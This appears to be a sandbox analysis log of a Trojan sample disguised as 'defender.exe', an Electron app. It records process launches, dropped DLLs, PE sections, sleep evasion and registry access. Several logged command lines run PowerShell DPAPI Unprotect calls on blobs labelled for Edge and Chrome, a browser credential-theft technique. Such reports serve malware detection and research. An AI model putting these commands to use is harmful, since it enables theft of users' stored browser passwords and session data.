Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\defender" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1728 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\defender" --mojo-platform-channel-handle=2140 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=renderer --user-data-dir="C:\Users\user\AppData\Roaming\defender" --app-path="C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1722778035040302 --launch-time-ticks=4063477079 --mojo-platform-channel-handle=2348 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\defender" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1432 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Process created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\defender" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1728 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\defender" --mojo-platform-channel-handle=2140 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=renderer --user-data-dir="C:\Users\user\AppData\Roaming\defender" --app-path="C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1722778035040302 --launch-time-ticks=4063477079 --mojo-platform-channel-handle=2348 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\defender" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1432 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')	Jump to behavior

Source: defender.exe.0.dr	Static PE information: section name: .00cfg
Source: defender.exe.0.dr	Static PE information: section name: .gxfg
Source: defender.exe.0.dr	Static PE information: section name: .retplne
Source: defender.exe.0.dr	Static PE information: section name: .rodata
Source: defender.exe.0.dr	Static PE information: section name: .voltbl
Source: defender.exe.0.dr	Static PE information: section name: CPADinfo
Source: defender.exe.0.dr	Static PE information: section name: LZMADEC
Source: defender.exe.0.dr	Static PE information: section name: _RDATA
Source: defender.exe.0.dr	Static PE information: section name: malloc_h
Source: ffmpeg.dll.0.dr	Static PE information: section name: .00cfg
Source: ffmpeg.dll.0.dr	Static PE information: section name: .gxfg
Source: ffmpeg.dll.0.dr	Static PE information: section name: .retplne
Source: ffmpeg.dll.0.dr	Static PE information: section name: .voltbl
Source: ffmpeg.dll.0.dr	Static PE information: section name: _RDATA
Source: libEGL.dll.0.dr	Static PE information: section name: .00cfg
Source: libEGL.dll.0.dr	Static PE information: section name: .gxfg
Source: libEGL.dll.0.dr	Static PE information: section name: .retplne
Source: libEGL.dll.0.dr	Static PE information: section name: .voltbl
Source: libEGL.dll.0.dr	Static PE information: section name: _RDATA
Source: libGLESv2.dll.0.dr	Static PE information: section name: .00cfg
Source: libGLESv2.dll.0.dr	Static PE information: section name: .gxfg
Source: libGLESv2.dll.0.dr	Static PE information: section name: .retplne
Source: libGLESv2.dll.0.dr	Static PE information: section name: .voltbl
Source: libGLESv2.dll.0.dr	Static PE information: section name: _RDATA
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .00cfg
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .gxfg
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .retplne
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .voltbl
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: _RDATA
Source: vulkan-1.dll.0.dr	Static PE information: section name: .00cfg
Source: vulkan-1.dll.0.dr	Static PE information: section name: .gxfg
Source: vulkan-1.dll.0.dr	Static PE information: section name: .retplne
Source: vulkan-1.dll.0.dr	Static PE information: section name: .voltbl
Source: vulkan-1.dll.0.dr	Static PE information: section name: _RDATA
Source: defender.exe0.0.dr	Static PE information: section name: .00cfg
Source: defender.exe0.0.dr	Static PE information: section name: .gxfg
Source: defender.exe0.0.dr	Static PE information: section name: .retplne
Source: defender.exe0.0.dr	Static PE information: section name: .rodata
Source: defender.exe0.0.dr	Static PE information: section name: .voltbl
Source: defender.exe0.0.dr	Static PE information: section name: CPADinfo
Source: defender.exe0.0.dr	Static PE information: section name: LZMADEC
Source: defender.exe0.0.dr	Static PE information: section name: _RDATA
Source: defender.exe0.0.dr	Static PE information: section name: malloc_h
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .00cfg
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .gxfg
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .retplne
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .voltbl
Source: ffmpeg.dll0.0.dr	Static PE information: section name: _RDATA
Source: libEGL.dll0.0.dr	Static PE information: section name: .00cfg
Source: libEGL.dll0.0.dr	Static PE information: section name: .gxfg
Source: libEGL.dll0.0.dr	Static PE information: section name: .retplne
Source: libEGL.dll0.0.dr	Static PE information: section name: .voltbl
Source: libEGL.dll0.0.dr	Static PE information: section name: _RDATA
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .00cfg
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .gxfg
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .retplne
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .voltbl
Source: libGLESv2.dll0.0.dr	Static PE information: section name: _RDATA
Source: 18a76d14-ac47-451f-a90b-60705a36f392.tmp.node.4.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3539	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2338	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2677	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1573	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 872	Jump to behavior

Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/1085
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/1452
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/1452expandIntegerPowExpressionsThe
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/1512
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/1637
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/1936
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/2046
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/2152
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/2152skipVSConstantRegisterZeroIn
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/2162
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/2273
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/2517
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/2894
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/2970
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/2978
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3027
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3045
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3078
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3205
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3206
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3246
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3246allowClearForRobustResourceInitSome
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3452
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3498
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3502
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3577
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3584
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3586
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3623
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3624
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3625
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3682
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3682allowES3OnFL100Allow
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3729
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3832
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3862
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3965
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3970
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/3997
Source: libGLESv2.dll.0.dr	String found in binary or memory: http://anglebug.com/4214

Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd142C.tmp\7z-out\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd142C.tmp\7z-out\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd142C.tmp\7z-out\vulkan-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\libEGL.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\18a76d14-ac47-451f-a90b-60705a36f392.tmp.node	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd142C.tmp\7z-out\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd142C.tmp\7z-out\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd142C.tmp\nsis7z.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd142C.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd142C.tmp\7z-out\resources\elevate.exe	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7408	Thread sleep count: 3539 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7408	Thread sleep count: 2338 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7440	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7424	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660	Thread sleep count: 2677 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep count: 1573 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
